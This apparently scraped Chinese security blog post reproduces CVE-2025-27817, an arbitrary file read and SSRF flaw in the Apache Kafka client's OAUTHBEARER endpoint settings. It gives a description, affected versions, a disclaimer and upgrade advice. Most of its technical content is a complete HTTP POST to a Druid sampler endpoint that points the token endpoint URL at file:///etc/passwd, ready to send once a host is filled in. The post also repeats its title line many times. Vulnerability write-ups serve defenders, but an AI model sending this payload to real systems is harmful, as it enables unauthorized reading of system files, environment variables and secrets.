【漏洞复现】Kafka Connect任意文件读取漏洞 CVE-2025-27817

原文链接: https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486069&idx=1&sn=686dff0eb15fbaf6950e19c95f008dba

【漏洞复现】Kafka Connect任意文件读取漏洞 CVE-2025-27817

YGnight night安全 2025-06-13 09:22

公众号新规
只对常读

星标的公众号才能展示大图推送,
建议大家把公众号“
n
i
g
h
t


”设为












【漏洞复现】Kafka Connect任意文件读取漏洞 CVE-2025-27817

【漏洞复现】Kafka Connect任意文件读取漏洞 CVE-2025-27817

免责声明

【漏洞复现】Kafka Connect任意文件读取漏洞 CVE-2025-27817

night安全致力于分享技术学习和工具掌握。然而请注意不得将此用于任何未经授权的非法行为,请您严格遵守国家信息安全法律法规。任何违反法律、法规的行为,均与本人无关。如有侵权烦请告知,我们会立即删除并致歉。谢谢!

【漏洞复现】Kafka Connect任意文件读取漏洞 CVE-2025-27817

【漏洞复现】Kafka Connect任意文件读取漏洞 CVE-2025-27817

漏洞描述

【漏洞复现】Kafka Connect任意文件读取漏洞 CVE-2025-27817

【漏洞复现】Kafka Connect任意文件读取漏洞 CVE-2025-27817

已在Apache Kafka Client中发现可能的任意文件读取和SSRF漏洞。Apache Kafka客户端接受用于设置与代理的SASL/OAUTHBEARER连接的配置数据,包括“sasl.oauthbearer.token.endpoint.url”和“sasl.oauthbearer.jwks.endpoint.url”。Apache  Kafka 允许客户端读取任意文件并返回错误日志中的内容,或将请求发送到意外位置。在 Apache Kafka  客户端配置可由不受信任的一方指定的应用程序中,攻击者可能会使用“sasl.oauthbearer.token.endpoint.url”和“sasl.oauthbearer.jwks.endpoint.url”配置来读取磁盘和环境变量的任意内容或向意外位置发出请求。具体而言,Apache  Kafka Connect 中可能会利用此缺陷从 REST API 访问升级到文件系统/环境/URL 访问,这在某些环境(包括 SaaS  产品)中可能是不可取的。从 Apache Kafka 3.9.1/4.0.0开始,我们添加了一个系统属性(“-Dorg.apache.kafka.sasl.oauthbearer.allowed.urls”)来设置  SASL JAAS 配置中允许的 url。在 3.9.1 中,它默认接受所有 url 以实现向后兼容性。但是,在 4.0.0  及更高版本中,默认值为空列表,用户必须显式设置允许的 url。

【漏洞复现】Kafka Connect任意文件读取漏洞 CVE-2025-27817

影响版本

【漏洞复现】Kafka Connect任意文件读取漏洞 CVE-2025-27817

3.1.0 ≤ Apache Kafka < 3.9.1

【漏洞复现】Kafka Connect任意文件读取漏洞 CVE-2025-27817

漏洞复现

【漏洞复现】Kafka Connect任意文件读取漏洞 CVE-2025-27817

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: xxx.xxx.xxx.xxx
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 1617
{
  &#34;type&#34;: &#34;kafka&#34;,
  &#34;spec&#34;: {
    &#34;type&#34;: &#34;kafka&#34;,
    &#34;ioConfig&#34;: {
      &#34;type&#34;: &#34;kafka&#34;,
      &#34;consumerProperties&#34;: {
        &#34;bootstrap.servers&#34;: &#34;127.0.0.1:6666&#34;,
        &#34;sasl.mechanism&#34;: &#34;OAUTHBEARER&#34;,
        &#34;security.protocol&#34;: &#34;SASL_SSL&#34;,
        &#34;sasl.login.callback.handler.class&#34;: &#34;org.apache.kafka.common.security.oauthbearer.secured.OAuthBearerLoginCallbackHandler&#34;,
        &#34;sasl.oauthbearer.token.endpoint.url&#34;: &#34;file:///etc/passwd&#34;,
        &#34;sasl.jaas.config&#34;: &#34;org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required sasl.oauthbearer.token.endpoint.url=\&#34;http://127.0.0.1:9999/token\&#34; sasl.oauthbearer.jwks.endpoint.url=\&#34;http://127.0.0.1:9999/jwks\&#34; sasl.oauthbearer.client.id=your-client-id sasl.oauthbearer.client.secret=your-client-secret sasl.oauthbearer.expected.audience=kafka sasl.oauthbearer.expected.issuer=\&#34;http://127.0.0.1:9999\&#34; useFirstPass=true serviceName=kafka debug=true;&#34;
      },
      &#34;topic&#34;: &#34;test&#34;,
      &#34;useEarliestOffset&#34;: true,
      &#34;inputFormat&#34;: {
        &#34;type&#34;: &#34;regex&#34;,
        &#34;pattern&#34;: &#34;([\\s\\S]*)&#34;,
        &#34;listDelimiter&#34;: &#34;&#34;,
        &#34;columns&#34;: [&#34;raw&#34;]
      }
    },
    &#34;dataSchema&#34;: {
      &#34;dataSource&#34;: &#34;sample&#34;,
      &#34;timestampSpec&#34;: {
        &#34;column&#34;: &#34;!!!_no_such_column_!!!&#34;,
        &#34;missingValue&#34;: &#34;1970-01-01T00:00:00Z&#34;
      },
      &#34;dimensionsSpec&#34;: {},
      &#34;granularitySpec&#34;: {
        &#34;rollup&#34;: false
      }
    },
    &#34;tuningConfig&#34;: {
      &#34;type&#34;: &#34;kafka&#34;
    }
  },
  &#34;samplerConfig&#34;: {
    &#34;numRows&#34;: 500,
    &#34;timeoutMs&#34;: 15000
  }
}

【漏洞复现】Kafka Connect任意文件读取漏洞 CVE-2025-27817

【漏洞复现】Kafka Connect任意文件读取漏洞 CVE-2025-27817

修复建议

【漏洞复现】Kafka Connect任意文件读取漏洞 CVE-2025-27817

官方已推送更新版本,受影响用户可以升级至3.9.1及以上版本。

【漏洞复现】Kafka Connect任意文件读取漏洞 CVE-2025-27817

【漏洞复现】Kafka Connect任意文件读取漏洞 CVE-2025-27817

【漏洞复现】Kafka Connect任意文件读取漏洞 CVE-2025-27817